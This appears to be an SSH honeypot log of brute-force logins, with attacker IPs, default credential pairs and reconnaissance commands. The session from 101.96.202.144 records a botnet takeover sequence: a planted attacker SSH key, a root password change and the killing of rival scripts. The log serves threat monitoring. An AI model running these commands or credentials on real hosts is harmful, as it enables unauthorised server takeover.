Adversarial Observation Interface

134.122.107.132

2026-10-16 22:55:35.148114 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: riscv

Record ID: 0ea4acc5f3cc

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "0ea4acc5f3cc",
  "src_ip": "134.122.107.132",
  "start_time": "2026-10-16T22:55:35.148114Z",
  "end_time": "2026-10-16T22:55:36.827614Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "riscv",
      "pass": "riscv"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

161.35.40.146

2026-10-16 22:54:13.898277 UTC

SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: admin / 1234

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 396457022477

Client Version: SSH-2.0-Go

Engagement Duration: 1.1s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "396457022477",
  "src_ip": "161.35.40.146",
  "start_time": "2026-10-16T22:54:13.898277Z",
  "end_time": "2026-10-16T22:54:14.959286Z",
  "duration": "1.1",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "1234"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}

134.122.107.132

2026-10-16 22:53:06.449854 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hpc-riscv

Record ID: 651aff2dfb1a

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "651aff2dfb1a",
  "src_ip": "134.122.107.132",
  "start_time": "2026-10-16T22:53:06.449854Z",
  "end_time": "2026-10-16T22:53:08.166367Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "hpc-riscv",
      "pass": "hpc-riscv"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

193.46.255.86

2026-10-16 22:52:30.891196 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: test / test

Record ID: 26c2702f4676

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "26c2702f4676",
  "src_ip": "193.46.255.86",
  "start_time": "2026-10-16T22:52:30.891196Z",
  "end_time": "2026-10-16T22:52:36.894229Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "test",
    "pass": "test"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

161.35.40.146

2026-10-16 22:51:37.520695 UTC

SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: admin / 111111

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 3bbb839d6b1a

Client Version: SSH-2.0-Go

Engagement Duration: 1.1s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "3bbb839d6b1a",
  "src_ip": "161.35.40.146",
  "start_time": "2026-10-16T22:51:37.520695Z",
  "end_time": "2026-10-16T22:51:38.622508Z",
  "duration": "1.1",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "111111"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}

134.122.107.132

2026-10-16 22:50:41.637197 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: vyos

Record ID: 42eb00eec0e2

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "42eb00eec0e2",
  "src_ip": "134.122.107.132",
  "start_time": "2026-10-16T22:50:41.637197Z",
  "end_time": "2026-10-16T22:50:43.315543Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "vyos",
      "pass": "vyos"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

161.35.40.146

2026-10-16 22:49:07.909669 UTC

SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: admin / 1111

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 08b683606a75

Client Version: SSH-2.0-Go

Engagement Duration: 1.5s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "08b683606a75",
  "src_ip": "161.35.40.146",
  "start_time": "2026-10-16T22:49:07.909669Z",
  "end_time": "2026-10-16T22:49:09.406506Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "1111"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}

91.225.162.122

2026-10-16 22:49:06.089600 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: de063b25a3c7

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "de063b25a3c7",
  "src_ip": "91.225.162.122",
  "start_time": "2026-10-16T22:49:06.089600Z",
  "end_time": "2026-10-16T22:49:06.092790Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

134.122.107.132

2026-10-16 22:48:04.467360 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: oneadmin

Record ID: 327caaf94e4c

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "327caaf94e4c",
  "src_ip": "134.122.107.132",
  "start_time": "2026-10-16T22:48:04.467360Z",
  "end_time": "2026-10-16T22:48:06.184268Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "oneadmin",
      "pass": "oneadmin"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

161.35.40.146

2026-10-16 22:46:43.496040 UTC

SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: admin / 0000

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 359d4c975deb

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "359d4c975deb",
  "src_ip": "161.35.40.146",
  "start_time": "2026-10-16T22:46:43.496040Z",
  "end_time": "2026-10-16T22:46:45.372632Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "0000"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}

2.57.121.25

2026-10-16 22:46:37.990578 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 17091980

Record ID: 7acaf8a08fed

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "7acaf8a08fed",
  "src_ip": "2.57.121.25",
  "start_time": "2026-10-16T22:46:37.990578Z",
  "end_time": "2026-10-16T22:46:43.995848Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "17091980"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

134.122.107.132

2026-10-16 22:45:46.988374 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mapr

Record ID: d875cc922ad4

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "d875cc922ad4",
  "src_ip": "134.122.107.132",
  "start_time": "2026-10-16T22:45:46.988374Z",
  "end_time": "2026-10-16T22:45:48.797195Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "mapr",
      "pass": "mapr"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

178.62.108.86

2026-10-16 22:43:32.060003 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: lab

Record ID: fa472552e6dd

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "fa472552e6dd",
  "src_ip": "178.62.108.86",
  "start_time": "2026-10-16T22:43:32.060003Z",
  "end_time": "2026-10-16T22:43:33.737123Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "lab",
      "pass": "lab"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

134.122.107.132

2026-10-16 22:43:29.398128 UTC

SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: node / node

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 4b0c697d26fb

Client Version: SSH-2.0-Go

Engagement Duration: 1.1s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "4b0c697d26fb",
  "src_ip": "134.122.107.132",
  "start_time": "2026-10-16T22:43:29.398128Z",
  "end_time": "2026-10-16T22:43:30.491687Z",
  "duration": "1.1",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "node",
    "pass": "node"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}

161.35.40.146

2026-10-16 22:42:28.247780 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 961d3d697d5f

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "961d3d697d5f",
  "src_ip": "161.35.40.146",
  "start_time": "2026-10-16T22:42:28.247780Z",
  "end_time": "2026-10-16T22:42:28.387531Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

178.62.108.86

2026-10-16 22:41:24.336217 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: john

Record ID: cce1e953245c

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "cce1e953245c",
  "src_ip": "178.62.108.86",
  "start_time": "2026-10-16T22:41:24.336217Z",
  "end_time": "2026-10-16T22:41:26.221319Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "john",
      "pass": "john"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

209.97.177.240

2026-10-16 22:40:53.584868 UTC

SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: user / 1

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 0e4cc2a4fbae

Client Version: SSH-2.0-Go

Engagement Duration: 1.1s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "0e4cc2a4fbae",
  "src_ip": "209.97.177.240",
  "start_time": "2026-10-16T22:40:53.584868Z",
  "end_time": "2026-10-16T22:40:54.731592Z",
  "duration": "1.1",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "1"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}

186.130.115.126

2026-10-16 22:40:06.143013 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 924acf5abeab

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "924acf5abeab",
  "src_ip": "186.130.115.126",
  "start_time": "2026-10-16T22:40:06.143013Z",
  "end_time": "2026-10-16T22:40:06.146303Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

178.62.108.86

2026-10-16 22:39:19.752764 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: james

Record ID: ccfa8e5bd636

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "ccfa8e5bd636",
  "src_ip": "178.62.108.86",
  "start_time": "2026-10-16T22:39:19.752764Z",
  "end_time": "2026-10-16T22:39:21.466799Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "james",
      "pass": "james"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

134.122.107.132

2026-10-16 22:39:18.490253 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2f15310e195f

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "2f15310e195f",
  "src_ip": "134.122.107.132",
  "start_time": "2026-10-16T22:39:18.490253Z",
  "end_time": "2026-10-16T22:39:18.625154Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

209.97.177.240

2026-10-16 22:37:21.624324 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6984490f7278

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "6984490f7278",
  "src_ip": "209.97.177.240",
  "start_time": "2026-10-16T22:37:21.624324Z",
  "end_time": "2026-10-16T22:37:21.759871Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

178.62.108.86

2026-10-16 22:37:10.808078 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: michael

Record ID: 5a94da13e7b2

Client Version: SSH-2.0-Go

Engagement Duration: 3.0s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "5a94da13e7b2",
  "src_ip": "178.62.108.86",
  "start_time": "2026-10-16T22:37:10.808078Z",
  "end_time": "2026-10-16T22:37:13.831743Z",
  "duration": "3.0",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "michael",
      "pass": "michael"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

178.62.108.86

2026-10-16 22:34:12.488170 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 90a4f6c96847

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "90a4f6c96847",
  "src_ip": "178.62.108.86",
  "start_time": "2026-10-16T22:34:12.488170Z",
  "end_time": "2026-10-16T22:34:12.632795Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

101.96.202.144

2026-10-16 22:30:57.597520 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d13bd835b015

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "d13bd835b015",
  "src_ip": "101.96.202.144",
  "start_time": "2026-10-16T22:30:57.597520Z",
  "end_time": "2026-10-16T22:32:57.610185Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

101.96.202.144

2026-10-16 22:30:49.582600 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 653f756d40a6

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "653f756d40a6",
  "src_ip": "101.96.202.144",
  "start_time": "2026-10-16T22:30:49.582600Z",
  "end_time": "2026-10-16T22:32:49.589274Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

101.96.202.144

2026-10-16 22:30:46.175548 UTC

SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 340

Credential acceptance event recorded. Target authentication: root / hades

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l

[obs-node]:~$ echo "root:sVqG1pRrfrRT"|chpasswd|bash

[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

[obs-node]:~$ ls -lh $(which ls)

[obs-node]:~$ which ls

[obs-node]:~$ crontab -l

[obs-node]:~$ w

[obs-node]:~$ uname -m

[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l

[obs-node]:~$ top

[obs-node]:~$ uname

[obs-node]:~$ uname -a

[obs-node]:~$ whoami

[obs-node]:~$ lscpu | grep Model

[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

Record ID: 7bda41b16bf9

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 29.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "7bda41b16bf9",
  "src_ip": "101.96.202.144",
  "start_time": "2026-10-16T22:30:46.175548Z",
  "end_time": "2026-10-16T22:31:15.147907Z",
  "duration": "29.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "hades"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:sVqG1pRrfrRT\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:sVqG1pRrfrRT\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}

115.190.229.67

2026-10-16 22:30:36.109254 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: ee8ce94949a1

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "ee8ce94949a1",
  "src_ip": "115.190.229.67",
  "start_time": "2026-10-16T22:30:36.109254Z",
  "end_time": "2026-10-16T22:30:39.387698Z",
  "duration": "3.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

115.190.229.67

2026-10-16 22:30:33.720210 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 37fc6ae2a9b7

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "37fc6ae2a9b7",
  "src_ip": "115.190.229.67",
  "start_time": "2026-10-16T22:30:33.720210Z",
  "end_time": "2026-10-16T22:30:35.919978Z",
  "duration": "2.2",
